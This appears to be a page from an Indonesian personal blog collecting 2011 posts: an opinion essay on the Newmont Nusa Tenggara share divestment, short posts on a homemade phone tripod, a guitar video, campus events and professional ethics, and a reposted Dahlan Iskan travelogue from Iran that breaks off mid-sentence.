Divestasi Newmont untuk Siapa?

Divestasi Newmont untuk Siapa?

Oleh: Marwan Batubara, Indonesian Resources Studies, IRESS

 

Keputusan pemerintah pusat membeli 7% saham Newmont Nusa Tenggara (NNT) senilai US$ 246,8 juta 6 Mei 2011 patut diapresiasi. Dengan itu divestasi 31% saham NNT telah tuntas, dan komposisi pemegang saham NNT berubah menjadi  NTP (Newmont & Sumitomo) 49%, Multi Daerah Bersaing (MDB) 24%, Pukuafu Indah (PI) 17,8%,  Indonesia Masbaga Investama (IMI) 2,2% dan Pemerintah RI 7%. Namun transakasi ini belum direstui DPR, yang mempermasalahkan sumber dana pembelian. Apakah sikap DPR relevan?

Kontrak Karya (KK) NNT ditandatangani pada 2 Desember 1986. Tambang Batu Hijau NTB  diperkirakan menyimpan potensi 11,2 miliar pound tembaga, 14,7 juta ounce emas dan 27,6 juta ounce perak. Berdasarkan harga rata-rata tembaga, emas dan perak masing-masing US$ 4/pound, US$ 1500/ounce dan US$ 20/ounce, potensi tambang adalah US$ (11,2 x 4 + 0.0147 x 1500 + 0.0276 x 20) miliar = US$ 67,41 miliar atau sekitar Rp 580 triliun (US$/Rp = 8600). Potensi yang sangat besar ini menarik minat investor asing atau swasta memiliki saham, sehingga proses divetsasi saham tidak berjalan lancar.

Proses Divestasi

KK NNT mengatur Newmont & Sumitomo wajib mendivestasikan 31% sahamnya, masing-masing 3%, 7%, 7%, 7% dan 7% pada tahun 2006, 2007, 2008, 2009 dan 2010. Sesuai Pasal 24 ayat 3 KK, pemerintah pusat memiliki hak pertama untuk membeli, dan dapat beralih kepada daerah atau swasta nasional jika pusat atau daerah tidak menggunakan haknya. Meskipun tidak seutuh seharusnya, ketentuan Pasal 24 KK ini telah menerjemahkan Pasal 33 UUD 1945 agar sumberdaya tersebut dikuasai negara melalui pusat dan daerah.

Proses divestasi 2006 dan 2007 gagal terlaksana karena berbagai kepentingan, termasuk upaya NNT untuk tetap mendominasi. Oknum-oknum pemerintah bersama sejumlah pengusaha nasional juga terlibat perburuan saham. Kisruh ini menyebabkan Pemerintah RI mengugat NNT ke arbitrase internasional, 3 Maret 2008, karena lalai melakukan divestasi. Pada April 2008, NNT melayangkan gugatan balik, yang mempersoalkan keterlibatan pihak ketiga dibalik rencana pembelian saham oleh pemerintah. Pada 31 Maret 2009 arbitrase memenangkan Pemeritah RI dan NNT harus melanjutkan proses divestasi.

Divestasi 2006-2007 digabung dengan divestasi 2008-2009, sehingga total saham yang dieksekusi tahun 2009 menjadi 24%. Pemerintah pusat “diwakili” Menko Prekonomian Sri Mulyani, menyatakan akan membeli saham. Sayang suara pemerintah tidak bulat. Pada semester-1 2009, terjadi pertarungan dua “kubu”. Pertama, kubu pemerintah pusat, didukung Menkeu Sri Mulyani, Menteri BUMN Sofyan Jalil dan Wapres JK. Kedua, “kubu daerah”, didukung oleh MESDM Purnomo Y., Menko Aburizal B., Ketua BKPM M. Lutfi dan Ketua DPR Agung L. Bahkan lembaga DPR pun mendukung kubu kedua!

Hingga pemerintahan SBY-JK berakhir September 2009, keputusan belum daiambil. Wapres JK memang pro pusat, tetapi Presiden SBY, yang harusnya mewakili pusat, tidak bersikap! Namun hanya sebulan setelah SBY-Boediono berkuasa, November 2009 Presiden SBY menyetujui pembelian oleh “daerah”. Karena keputusan Presiden  SBY ini, pusat gagal menggunakan hak rakyat Indonesia menguasai saham NNT. Apakah pemilikan saham oleh daerah merugikan? Bukankah rakyat daerah akan ikut menikmati sebagian keuntungan NNT?

Ternyata daerah “mengerjasamakan” 24% sahamnya dengan perusahaan swasta, Multicapital (Grup Bakrie). Kerja sama ini terwujud dalam perusahaan patungan bernama Multi Daerah Bersaing (MDB), yang merupakan gabungan Multicapital dengan Daerah Maju Bersaing (DMB), milik pemprov NTB dan pemda Sumbawa (KS) dan Sumbawa Barat (KSB). MOU kerja sama MDB ditandangani 11 Juli 2009, dengan pemilikan saham 75% Multicapital dan 25% DMB. Seluruh dana untuk pembelian 24% saham ditanggung Multicapital, tanpa kewajiban membayar oleh DMB (golden share).

Setelah hampir 2 tahun, tampaknya daerah tidak memperoleh hak sesuai kesepakatan. Majalah Sumbawa News Nomor 19, Mei 2011 melaporkan MDB berhak memperoleh deviden tahun 2010 sebesar US$ 172,8 juta, atau sekitar Rp 1,48 triliun. Jika pola 75% : 25% diterapkan, mestinya ketiga daerah NTB, KS dan KSB memperoleh deviden sebesar 25% x US 172,8 juta = US$ 43,2 juta atau sekitar Rp 371,52 miliar. Namun hingga saat inidaerah/DMB hanya menerima US$ 4 juta atau sekitar Rp 34,4 miliar. Apakah MDB kelak akan melunasi kekurangan pembayaran sekitar Rp 337,12 milar? Karena Multicapital dan daerah sederajat, seharusnya 25% deviden milik DMB telah tuntas diserahkan kepada daerah.

 

Divestasi 2010: 7% Saham NNT

Pembelian 7% saham NNT oleh Pusat sesuai Pasal 41 UU No.1/2004 yang berbunyi: “Pemerintah dapat melakukan investasi jangka panjang untuk  memperoleh manfaat ekonomi, sosial, dan atau  manfaat lainnya  dalam bentuk saham, surat utang, dan investasi langsung. Investasi semacam itu juga diatur lebih lanjut dalam PP No. 1/2008, Pasal 3 ayat (2) huruf (a) Jo. Pasal 15 ayat (1) yang menyatakan bahwa PIP dapat melakukan investasi pemerintah dalam bentuk Investasi Surat Berharga dengan cara pembelian saham atas saham yang diterbitkan perusahaan. Pelaksanaan pembelian saham dalam Permen Keuangan, PMK 181/2008 jo.PMK 44/2011.

Menurut Kemenkeu, dengan memiliki saham pemerintah dapat berperan optimal mengawasi, mengelola dan membayar pajak. NNT akan dijadikan sebagai laboratotium pajak untuk menganalisis dan memverifikasi beragam masalah dan kelayakan pembayaran pajak  perusahaan tambang. Memang, mengelola perusahaan melalui pemilikan saham adalah satu-satunya langkah yang harus ditempuh jika negara ingin menguasai dan memanfaatkan kekayaan alam secara optimal sesuai konstitusi. Aneh jika DPR terkesan menghambat pembelian 7% saham NNT oleh Kemenkeu.

Tambang NNT sangat menguntungkan, terbukti  setelah  investasi sebesar US$ 909 juta untuk 24% saham, MDB memperoleh deviden tahun 2010 sebesar  US$ 172,8 juta! Padahal usia tambang NNT dapat lebih dari 20 tahun, sehingga tingkat pengembalian investasi bisa melebihi 100% dalam waktu 6 tahun! Disisi lain, daerah sangat dirugikan dalam kerja sama dengan Multicapital karena pola bagi hasil dan peran yang tidak optimal. Karena itu, seluruh saham divestasi NNT (24% & 7%) seharusnya  dikordinasikan dan dimiliki bersama oleh pemerintah pusat dengan daerah tanpa melibatkan swasta.

 

Penutup

Meskipun pembelian 24% saham NNT telah gagal, dan ini merupakan kesalahan fatal Presiden SBY, keputusan Kemenkeu  membeli 7% saham NNT patut dikawal. Pembelian tersebut sesuai konstitusi, peraturan dan KK, serta sangat menguntungkan. Ada pendapat saham tersebut kelak dijual kembali kepada asing, sebagaimana juga muncul pada proses divestasi 24% yang lalu. Menkeu membantah dan menyatakan tidak berniat menjual kembali. Tampaknya hal ini merupakan trick pemburu rente untuk menguasai saham. Namun demikian, rakyat tetap perlu waspada.

24% saham NNT milik daerah sudah terlanjur dikuasi swasta, daerah mendapat porsi yang sangat minim. Karena itu, demi kepentingan strategis dan optimasi pendapatan negara, pemerintah dihimbau konsisten dengan sikapnya membeli 7% saham, dan segera menggabungkan saham nasioal yang terpisah (NKRI 7%, FI 20% dan MDB 24%) ke dalam satu konsorsium nasional (51%), sehingga mampu mengendalian jalannya NNT sesuai kepetingan bangsa. Kita harap DPR tidak menghambat Kemenkeu dengan alasan tak jelas dan mendukung gagasan penggabungan saham ini.  Wakil rakyat seharusnya mengutamakan kepentingan rakyat pemilih, bukan yang lain.[]

Words Bee Gees Solo Guitar lesson

Song namely WORDS by the Bee Gees, popular in the year 70’s. But today’s product June 5th 2011, the song was played by guitar only. This might be useful for debutant who try to learn how to play a solo guitar.

For me atleast it’s a ‘un bon souvenir’. The singer wasBarry Gibbs the eldest brother  of the three gibbs family after Robin and … another one I didn’t remember…sorry. Regards from Jakarta.-

Tripod HP di Harpitnas

Gara-gara Harpitnas (Hari Kejepit Nasional) tanggal 03 Juni 2011 yang jatuh dihari Jumat menyebabkan saya rada sedikit nganggur dipagi hari. Jadilah sembari ngopi dan makan roti saya ngopreg tripod handphone saya yang sekarang fiturnya udah sedikit nambah dan rada canggih (saya sendiri yang klaim bhw tripod hp ini canggih).

Lha jadi apa canggihnya ini tripod HP ?

Tentu anda harus lihat foto dulu yah… Nah sambil lihat foto, nih saya jelasin. Itu kalo anda mau denger, tapi kalo gak mau denger ya pindah aja channelnya alias klik web yang lain. Jadi tripod hp ini gabungan ama tripod kecil biasa yang buat tustel digabung sama asesorisnya yang dimodif dari botol shampo (lihat foto yah). Kenapa musti digabung ?

Nah ini lagi rahasianya… Tripod HP yang dulu karya saya beberapa tahun y.l., kalo mau search di blog ini juga ada (search aja tripod hp) dibagian search sebelah kanan. Yang itu gak ada tripod tustelnya langsung dibentuk dari botol shampo saja. Tahu nggak kekurangannya apa ? Yah kayanya sih kalo gak punya pengalaman dengan tripod dll gak bakalan tahu. Saya jadi tahu juga karena sering menggunakan fitur video klip HP. Tapi sebelumnya, anda tahu gak sih kenapa orang musti pakai tripod ? Kalo dipegang tangan doang baik kamera maupun alat rekam lainnya, hasil jeperetannya itu KURANG AJEG. Tuh itu tepatnya, kaya seperti rada goyang gitu, apalagi video keluarnya jadi rada blur. Terlebih lagi dengan kamera atau videocam digital yang megapixelnya rendah. Lha kalo megapixnya udah tinggi lalu apa penyakitnya kan tustel modern dan canggih MP nya sudah sampai 10-12-14 MP. Jadi tajam dan kalau dibesarkan ukuran postersekalipun jadi tidak pecah. Tapi… memorinya itu man… guede banget. Ini penyakitnya sehingga kalau kita transfer gambar via internet atau bluetooth jadinya luama sekali bahkan seringnya malah gagal. Padahal kita udah nunggu lama. Hal ini disebabkan karena koneksi internet di negara kita kebanyakan kurang bagus ya, bandwitdh nya rendah. Jadi kalau kita ingin transfer sebuah event saja tanpa mengingat kalitas video yang tinggi, maka lebih baik bila filenya kecil saja jangan gede-gede. Jadi transfer cukup dengan 2-3 menit saja selesai sudah.

Tripod Handphone tidak eksis di dunia ini. So guyz karena itu kalo kita mau kita punya hp difungsikan untuk kamera, maka tripodnya harus bikin sendiri. Dan ngiris2 botol shampo pakai cutter ini dan menempatkan Handphone ditengahnya menjadi salah satu alternatif yang promising. Kalau tidak percaya lihat knerjanya ini tripod HP:

Jadi saya sudah upload ke youtube 1300 video klip, sejak Januari 2008 sampai dg hari ini (3 Juni 2011).

Hanya dengan handphone saja. Sorry mungkin 70% nya yg dengan HP sisanya ada juga dengan videocam. Jadi kalao kita dengerin lagunya Dee (Dewi Lestari)… begini nih… – Malaikat juga tahu, siapa yang jadi juaranya -.

Juara upload video klip di youtube. Tapi kalo di Hongkong dan Australia, banyak yang lebih dari saya. Ini untuk individu ya bukan corporate. Kalo tv2 itu emang udah kerjaannya, they are so profesional…

Coba saya jelaskan sedikit sambil lihat foto tentunya. Jadi bagian bawahnya adalah tripod kecil biasa mungkin harganya 50 ribuanlah. Atasnya kan ada mur. Lalu botolshampo bawahnya say bor jadi bolong seukuran diameter mur tripod. Dengan sendirinya untuk bisa menjepit bagian atasnya musti kita baut seukuran mur itu. Biasanya sih mur kuping tapi kal gak ada, mur biasa aja asal deratnya cocok dengan baut tripod itu. BAgian tengah atas pakai cutter anda potonglah atau bolongin itu botol shampo seukuran HP anda. Karena saya pakai 2 jenis hp bekas (nokia e90 dan soner w800i) maka bentuk potongannya jadi rada aneh. ANda bisa potong sendiri sesuai ukuran hp anda. Keunggulan dari tripod hp botol shampo ini sekarang adalah kemampuannya untuk diputar kesemua arah. atau tepatnya arah hemisphere alias setengah bola atas. Itu kan keuntungannya tripod tustel dimana dia bisa di putar arahnya dalam 6 derajat kebebasan.

Jadi begitulah keunggulan tripod hp botol shampo ini dan karena di Indonesia ini sudah jarang ada orang GILA yang meng-upload 1300 video klip ke youtube dan dailymotion. Oran bilang ‘kurang kerjaan’ kali tu orang. Emang bener ternyata, buktinya ini di hari kejepit nasional dimana PNS yang gak liburan keluar kota pada bengong dirumah kaya saya ini. Jadilah saya nulis diblog si kupret ini yang memang udah lama gak saya isi, dan lama juga gak nulis artikel diblog sendiri.

 

 

Dan ini hasil jepretannya

Kang Agus…

Tahu-tahu kantor kami Sekawan Group di BSD Serpong, kedatangan tamu istimewa.

Sudah lama tak bertemu, beliau aktif dimana=mana. Terutama di Facebook (?) dengan

ulasan-ulasannya baik politik maupun sosial.

Agus Muldya, wakil ketua alumni periode yang sekarang (sebentar lagi abis)…

yah tahulah ceritanya sebagai kepala pengurus Bridge UI dari dulu (Gabriel-UI)

yang sudah banyak membawa nama harum bangsa di kancah internasional, beliau tentu

banyak oleh-oleh ceritanya. Apalagi pengalamannya 10 tahun sebagai ketua KOSTI,

gaulnya dari mulai supir sampai ketua organda. Namun beliau datang ini untuk

kembali menanamkan rasa nasionalisme anak bangsa, terutama bagi generasi muda

alumni FTUI, Serta tak lupa mendorong kewirausahaan yang memang menjadi salah satu

misi kami di Sekawan.

Hadir juga dari Warta TV, kang Syaefurrahman dan kang Chairul Achir (Mesin 90) dari ANTV.

Lihat video ceramahnya kang Agus…

Biofuel dari Algae (lumut)

Forum Group Discussion in sciece and technology tentang biofuel dan biodiesel diselenggarakan di Dep Tek Mesin FTUI pada tgl 25 Mei 2011.
Meeting dibuka oleh Ketua Departemen Dr Ir Harinaldi M.Eng untuk memperkenalkan Biofuel yg merupakan hasil penelitian Prof Ricky Wee diperkenalkan dan di demo kan didepan staf pengajar dan mhs Doktoral. Hadir juga Dr Nelson dari Teknik Kimia. Bioenergi yang ramah lingkungan ini patut untuk digunakan di negara kita yang sudah terpolusi oleh bahan bakar fosil terutama di kota2 besar.

Profesional, Siapkah untuk mundur ?

-Jika tidak siap mengundurkan diri ataupun dipecat demi sesuatu yang anda yakini, anda bukanlah seorang profesional, anda hanya seorang budak belian (bb)-. Demikian disampaikan Gardner (2006).

Sedari awal para pekerja profesional (orang yang bekerja di perusahaan atau institusi) hanya terdidik untuk menciptakan keuntungan sebanyak-banyaknya bagi pemegang saham. Standar etis begitu mudah dicampakkan dalam dunia bisnis, karena banyak hukum didalamnya hanya bersifat sunnah. Akan direstui apabila itu diikuti, namun tak akan diberi sanksi apabila tidak dijalani.

Keberhasilan dalam membangun standar etis dalam berbisnis dan berkarya terutama ada didalam kesadaran diri sendiri. Kita harus memutuskan di sisi mana kita akan berdiri. Tidak dapat dipungkiri semakin banyak tantangan etis yang harus dihadapi para profesional ataupun organisasi dalam kehidupan sehari-hari, dari perkara kecil seperti penipuanhingga urusan besar seperti KORUPSI. Lihat kasus sekarang ini, satu atau dua menteri yang kebingungan berdiri dimana, ikut  terseret arus politik kekuasaan atau tetap profesional…

Mau pilih mana tetap pemain pro atau bb ?

(Dimodif dari trilogi E. Goestiandi).-

Catatan Dahlan Iskan dari Iran

Simak cerita CEO PLN bagaimana kita tidak bisa dapat gas dinegeri sendiri.

Posted by: “Fahmi Muhanna” muhanna87@yahoo.com   muhanna87

Tue May 10, 2011 9:45 am (PDT)

Assalamu alaikum wr.wb….

Berikut ini saya copy pastekan catatan perjalana pak Dahlan Iskan dari Iran.
Semoga ada manfaatnya

Wassalam…
———————————————————-

Baru sekali ini saya ke Iran. Kalau saja PLN tak kesulitan dapat gas
dalam negeri, barangkali takkan ada pikiran untuk melihat kemungkinan
mengimpor gas dari Negara Para Mullah ini.

Sudah setahun lebih PLN berjuang untuk dapat gas dari negeri sendiri. Tapi, hasilnya
malah sebaliknya. Jatah gas PLN justru diturunkan terus. Kalau awal
2010 PLN masih dapat jatah gas 1.100
MMSCFD (million metric standard cubic feet per day atau juta standar
metrik kaki kubik per hari), saat tulisan ini dibuat justru tinggal 900
MMSCFD. Perjuangan untuk dapat tambahan gas yang semula menunjukkan
tanda-tanda berhasil belakangan redup kembali.

Gas memang sulit diraba sehingga tak bisa terlihat ke mana larinya. Bisa
jadi gas itu akan berbelok-belok dulu entah ke mana, baru dari sana
dijual ke PLN dengan harga yang sudah berbeda. Padahal, PLN perlu 1,5
juta MMSCFD gas.

Kalau saja PLN bisa dapat gas sebanyak
itu, penghematannya bisa mencapai Rp15 triliun tiap tahun. Angka
penghematan yang mestinya menggiurkan siapapun.

Maka,
saya memutuskan ke Iran. Apalagi, upaya mengatasi krisis listrik sudah
berhasil dan menuntaskan daftar tunggu yang panjang itu pasti bisa
selesai bulan depan. Kini waktunya perjuangan dapat gas ditingkatkan.

Termasuk,
apa boleh buat, ke negara yang sudah sejak 1980-an diisolasi AS dan
sekutu-sekutunya itu. Siapa tahu ada harapan untuk menyelesaikan
persoalan pokok PLN sekarang ini: efisiensi.

Sumber pemborosan terbesar PLN adalah banyaknya pembangkit listrik yang ‘salah makan’. Sekitar 5.000
MW pembangkit yang seharusnya diberi makan gas sudah puluhan tahun
diberi makan minyak solar yang amat mahal. Salah makan itulah yang
membuat kembung perut PLN selama ini.

Kebetulan Iran
memang sedang memasarkan gas dalam bentuk cair (LNG). Iran sedang
membangun proyek LNG besar-besaran di kota Asaleuyah di pantai Teluk
Parsi.

Saya ingin tahu benarkah proyek itu bisa jadi?
Bukankah Iran sudah 30 tahun lebih dimusuhi dan diisolasi secara ekonomi
oleh AS dan sekutu-sekutunya dari seluruh dunia?

Bukankah begitu banyak yang meragukan Iran bisa dapat teknologi tinggi untuk membangun proyek LNG besar-besaran?

Saya
pun terbang ke Asaleuyah, dua jam penerbangan dari Teheran. Meski
Asaleuyah kota kecil, ternyata banyak sekali penerbangan ke kota yang
hanya dipisahkan oleh laut 600 Km dari Qatar itu.

Bandaranya
kecil, tapi cukup baik. Masih baru dan statusnya internasional.
Pesawat-pesawat lokal, seperti Aseman Air, terbang ke sana. Itulah kota
yang memang baru saja berkembang dengan pesatnya.

Iran
memang menjadikan kota Asaleuyah sebagai pusat industri minyak, gas, dan
petrokimia. Beratus-ratus hektare tanah di sepanjang pantai itu kini
dipenuhi rangkaian pipa-pipa kilang minyak, kilang petrokimia, dan
instalasi pembuatan LNG.

Saya heran bagaimana Iran bisa
dapat semua teknologi itu saat Iran diisolasi dunia Barat. Memang terasa
jalannya proyek tak bisa cepat, tapi sebagian besar sudah jadi.

Kilang
minyaknya, kilang petrokimianya, kilang etanolnya sudah beroperasi
dalam skala raksasa. Hanya kilang LNG-nya yang masih dalam pembangunan
dan kelihatannya akan selesai dua tahun lagi.

Memang,
kalau saja Iran tak diembargo, proyek-proyek itu pasti bisa lebih cepat.
Namun, Iran tak menyerah. Iran membuat sendiri banyak teknologi yang
dibutuhkan di situ.

Hanya bagian-bagian tertentu yang
masih didatangkan dari luar. Entah dengan cara apa dan entah lewat mana.
Yang jelas, barang-barang itu bisa ada. Orang, kalau kepepet, biasanya
memang banyak akal. Asal tak mudah menyerah. Demikian juga Iran.

Bahkan,
untuk memenuhi keperluan listrik untuk industri petrokimia itu, Iran
akhirnya bisa membuat pembangkit sendiri. Termasuk bisa membuat bagian
yang paling sulit di pembangkit listrik: turbin. Maka, Iran kini sudah
berhasil menguasai teknologi pembangkit listrik tenaga gas, baik open
cycle maupun combine cycle.

Kemampuan membuat pembangkit
listrik itu pun semula agak saya ragukan. Belum pernah terdengar ada
negara Islam yang mampu membuat pembangkit listrik secara utuh.

Karena
itu, setelah meninjau proyek LNG, saya minta diantar ke pabrik turbin
itu. Saya ingin lihat sendiri bagaimana Iran dipaksa keadaan untuk
mengatasi sendiri kesulitan teknologinya.

Ternyata
benar. Pabrik turbin itu sangat besar. Bukan hanya bisa merangkai, tapi
juga membuat keseluruhannya. Bahkan, sudah mampu membuat blade-blade
turbin sendiri.

Termasuk mampu menguasai teknologi
coating blade yang bisa meningkatkan efisiensi turbin. Baru sepuluh
tahun Iran menekuni alih teknologi pembangkit listrik itu.

Sekarang
Iran sudah memproduksi 225 unit turbin dari berbagai ukuran. Mulai 25
MW hingga 167 MW. Bahkan, Iran sudah mulai mengekspor turbin ke Lebanon,
Syria, dan Irak.

Bulan depan sudah pula mengekspor suku
cadang turbin ke India. Bulan lalu pabrik turbin Iran merayakan
produksi blade-nya yang ke-80.000 unit!

Kesimpulan saya:
inilah negara Islam pertama yang mampu membuat turbin dan keseluruhan
pembangkit listriknya. Saya dan rombongan PLN diberi kesempatan meninjau
semua proses produksinya.

Mulai A hingga Z. Termasuk
memasuki laboratorium metalurginya. Dengan kemampuannya itu, untuk
urusan listrik, Iran bisa mandiri. Bahkan, untuk pemeliharaan
pembangkit-pembangkit listrik yang lama, Iran tak bergantung lagi ke
pabrik asalnya. Mesin-mesin Siemens lama dari Jerman atau GE dari AS
bisa dirawat sendiri.

Iran sudah bisa memproduksi suku
cadang untuk semua mesin pembangkit Siemens dan GE. Bahkan, mereka sudah
dipercaya Siemens untuk memasok ke negara lain.

‘’Anak
perusahaan kami sanggup memelihara pembangkit-pembangkit listrik PLN
dengan suku cadang dari sini,’’ kata manajer di situ.

Pabrik
ini memiliki 32 anak perusahaan, masing-masing mengurus bidang yang
berbeda di sektor listrik. Termasuk ada anak perusahaan yang khusus
bergerak di bidang pemeliharaan dan operasi pembangkitan.

Bisnis
kelihatannya tetap bisnis. Saya tak habis pikir bagaimana Iran tetap
bisa dapat alat-alat produksi turbin berupa mesin-mesin dasar kelas satu
buatan Eropa: Italia, Jerman, Swiss, dan seterusnya. Saya juga tak
habis pikir bagaimana pabrik pembuatan turbin itu bisa dapat lisensi
Siemens.

Rupanya, meski membenci AS dan sekutunya, Iran
tak sampai membenci produk-produknya. Iran membenci AS hanya karena AS
membantu Israel. Itu jauh dari bayangan saya sebelum datang ke Iran.
Saya pikir Iran membenci apapun yang datang dari AS.

Ternyata
tidak. Bahkan, Coca-Cola dijual secara luas di Iran. Demikian juga,
Pepsi dan Miranda. Belum lagi Gucci, Prada, dan seterusnya.

Intinya:
dengan diembargo AS dan sekutunya, Iran hanya kesulitan pada
tahun-tahun pertama. Kesulitan itu membuat Iran kepepet, bangkit, dan
mandiri.

Kesulitan itu tak sampai membuatnya miskin,
apalagi bangkrut. Justru Iran dipaksa menguasai beberapa teknologi yang
semula jadi ketergantungannya.

Banyaknya proyek yang
sedang dikerjakan sekarang menunjukkan, pembangunan ekonomi Iran terus
berjalan. Mulai pengembangan bandara di mana-mana, pembangunan jalan
layang, hingga ke industri dasar. Tak ketinggalan pula industri mobil.

Kegiatan
ekonomi di Iran memang tak gegap gempita seperti Cina, tapi tetap
terasa menggeliat. Pertumbuhan ekonominya sudah bisa direncanakan enam
persen tahun ini. Mulai meningkat drastis jika dibanding tahun-tahun
pertama sanksi ekonomi diberlakukan.

‘’Sebelum ada
sanksi ekonomi, Iran hanya mampu memproduksi 300 ribu mobil setahun.
Kini Iran memproduksi 1,5 juta mobil setahun,’’ ujar seorang CEO
perusahaan terkemuka di Iran.(bersambung)

Di Antara Sepuluh Wanita, Sebelas Yang Cantik

KAMI
mendarat di Bandara Internasional Imam Khomeini, Teheran, menjelang
waktu salat Jumat. Maka, saya pun ingin segera ke masjid: sembahyang
Jumat. Saya tahu tidak ada kampung di sekitar bandara itu. Dari atas
terlihat bandara tersebut seperti benda jatuh di tengah gurun tandus
yang mahaluas. Tapi, setidaknya pasti ada masjid di bandara itu.

Memang
ada masjid di bandara itu, tapi tidak dipakai sembahyang Jumat. Saya
pun minta diantarkan ke desa atau kota kecil terdekat. Ternyata saya
kecele. Di Iran tidak banyak tempat yang menyelenggarakan sembahyang
Jumat. Bahkan, di kota sebesar Teheran, ibu kota negara dengan penduduk
16 juta orang itu, hanya ada satu tempat sembahyang Jumat.

Itu
pun bukan di masjid, tapi di Universitas Teheran. Dari bandara
memerlukan waktu perjalanan 1 jam. Atau bisa juga ke kota suci Qum.
Tapi, jaraknya lebih jauh lagi. Di negara Islam Iran, Jumatan hanya
diselenggarakan di satu tempat di setiap kota besar.

“Jadi, tidak ada tempat Jumatan di bandara ini?” tanya saya.

“Tidak ada. Kalau kita mau Jumatan, harus ke Teheran (40 km) atau ke Qum (70 km). Sampai di sana waktunya sudah lewat,” katanya.

Salat
Jumat ternyata memang tidak wajib di negara Islam Iran yang menganut
aliran Syiah itu. Juga tidak menggantikan salat Duhur. Jadi, siapa pun
yang salat Jumat tetap harus salat duhur.

Karena Jumat
adalah hari libur, saya tidak dijadwalkan rapat atau meninjau proyek.
Maka, waktu setengah hari itu saya manfaatkan untuk ke kota suci Qum.
Jalan tolnya tidak terlalu mulus, tapi sangat OK: enam jalur dan
tarifnya hanya Rp 4.000. Tarif itu kelihatannya memang hanya dimaksudkan
untuk biaya pemeliharaan.

Sepanjang perjalanan ke Qum
tidak terlihat apa pun. Sejauh mata memandang, yang terlihat hanyaÂ
gurun, gunung tandus, dan jaringan listrik. Saya bayangkan alangkah
enaknya membangun SUTET (saluran udara tegangan ekstratinggi) di Iran.
Tidak ada urusan dengan penduduk. Alangkah kecilnya gangguan listrik
karena tidak ada jaringan yang terkena pohon. Pohon begitu langka di
sini.

Begitu juga letak kota suci Qum. Kota ini seperti
berada di tengah-tengah padang yang tandus. Karena itu, bangunan
masjidnya yang amat besar, yang berada dalam satu kompleks dengan
madrasah yang juga besar, kelihatan sekali menonjol sejak dari jauh.

Tujuan
utama kami tentu ke masjid itu. Inilah masjid yang luar biasa
terkenalnya di kalangan umat Islam Syiah. Kalau pemerintahan Iran
dikontrol ketat oleh para mullah, di Qum inilah pusat mullah. Demokrasi
di Iran memang demokrasi yang dikontrol oleh ulama. Presidennya dipilih
secara demokratis untuk masa jabatan paling lama dua kali. Tapi, sang
presiden harus taat kepada pemimpin tertinggi agama yang sekarang
dipegang Imam Khamenei. Siapa pun bisa mencalonkan diri sebagai presiden
(tidak harus dari partai), tapi harus lolos seleksi oleh dewan ulama.

 Tapi,
sang imam bukan seorang diktator mutlak. Dia dipilih secara demokratis
oleh sebuah lembaga yang beranggota 85 mullah. Setiap mullah itu pun
dipilih langsung secara demokratis oleh rakyat.

 Dalam
praktik sehari-hari, ternyata tidak seseram yang kita bayangkan. Amat
jarang lembaga keagamaan itu mengintervensi pemerintah. “Dalam lima
tahun terakhir, kami belum pernah mendengar campur tangan mullah ke
pemerintah,” ujar seorang CEO perusahaan besar di Teheran.

Saya
memang kaget melihat kehidupan sehari-hari di Iran, termasuk di kota
suci Qum. Banyak sekali wanita yang mengendarai mobil. Tidak seperti di
negara-negara di jazirah Arab yang wanitanya dilarang mengendarai mobil.
Bahkan, orang Iran  menilai negara yang melarang wanita mengendarai
mobil dan melarang wanita memilih dalam pemilu bukanlah negara yang bisa
menyebut dirinya negara Islam.

Dan lihatlah cara wanita
Iran berpakaian. Termasuk di kota suci Qum. Memang, semua wanita
diwajibkan mengenakan kerudung (termasuk wanita asing), tapi ya tidak
lebih dari kerudung itu. Bukan jilbab, apalagi burqa. Kerudung itu
menutup rapi kepala, tapi boleh menyisakan bagian depan rambut mereka.
Maka, siapa pun bisa melihat mode bagian depan rambut wanita Iran. Ada
yang dibuat modis sedikit keriting dan sedikit dijuntaikan keluar dari
kerudung. Ada pula yang terlihat dibuat modis dengan cara mewarnai
rambut mereka. Ada yang blonde, ada pula yang kemerah-merahan.

 Bagaimana
baju mereka? Pakaian atas wanita Iran umumnya juga sangat modis. Baju
panjang sebatas lutut atau sampai ke mata kaki. Pakaian bawahnya hampir
100 persen celana panjang yang cukup ketat. Ada yang terbuat dari kain
biasa, tapi banyak juga yang celana jins. Dengan tampilan pakaian
seperti itu, ditambah dengan tubuh mereka yang umumnya langsing, wanita
Iran terlihat sangat modis.

 Apalagi, seperti kata orang
Iran, di antara sepuluh wanita Iran, yang cantik ada sebelas! Sedikit
sekali saya melihat wanita Iran yang memakai burqa, itu pun tidak ada
yang sampai menutup wajah.

 Sampai di kota Qum,
sembahyang Jumatnya memang sudah selesai. Ribuan orang bubaran keluar
dari masjid. Saya pun melawan arus masuk ke masjid melalui pintu  15.
Setelah salat Duhur, saya ikut ziarah ke makam Fatimah yang dikunjungi
ribuan jamaah itu. Makam itu berada di dalam masjid sehingga suasananya
mengesankan seperti ziarah ke makan Rasulullah di Masjid Nabawi.
Apalagi, banyak juga orang yang kemudian salat dan membaca Alquran di
dekat situ yang mengesankan orang seperti berada di Raudlah.

 Yang
juga menarik adalah strata sosialnya. Kota Metropolitan Teheran
berpenduduk 16 juta dan dengan ukuran 50 km garis tengah adalah kota
yang sangat besar. Sebanding dengan Jakarta dengan Jabotabek-nya.
Tetapi, tidak terlihat ada  keruwetan lalu lintas di Teheran. Memang,
Teheran tidak memiliki kawasan yang cantik seperti Jalan
Thamrin-Sudirman, namun sama sekali tidak terlihat ada kawasan kumuh
seperti Pejompongan dan Bendungan Hilir. Memang, tidak banyak gedung
pencakar langit yang cantik, tapi juga tidak terlihat gubuk dan bangunan
kumuh.

 Kota Teheran tidak memiliki bagian kota yang
terlihat mewah, tetapi juga tidak terlihat ada bagian kota yang miskin.
Teheran bukan kota yang sangat bersih, tapi juga tidak terasa kotor. Di
jalan-jalan yang penuh dengan mobil itu saya tidak melihat ada Mercy
mewah, apalagi Ferrari, tapi juga tidak ada bajaj, motor, atau mobil
kelas 600 hingga 1.000 cc.

 Lebih dari 90 persen mobil
yang memenuhi jalan adalah sedan kelas 1.500 hingga 2.000 cc. Saya tidak
melihat ada mal-mal yang besar di Teheran. Tapi, saya juga sama sekali
tidak melihat ada pedagang kaki lima, apalagi pengemis. Wanitanya juga
tidak ada yang sampai pakai burqa, tapi juga tidak ada yang berpakaian
merangsang. Orangnya rata-rata juga ramah dan sopan. Baik dalam sikap
maupun kata-kata.

Pemerataan pembangunan terasa sekali
berhasil diwujudkan di Iran. Semua rumah bisa masak dengan gas yang
dialirkan melalui pipa tersentral. Demikian juga, 99 persen rumah di
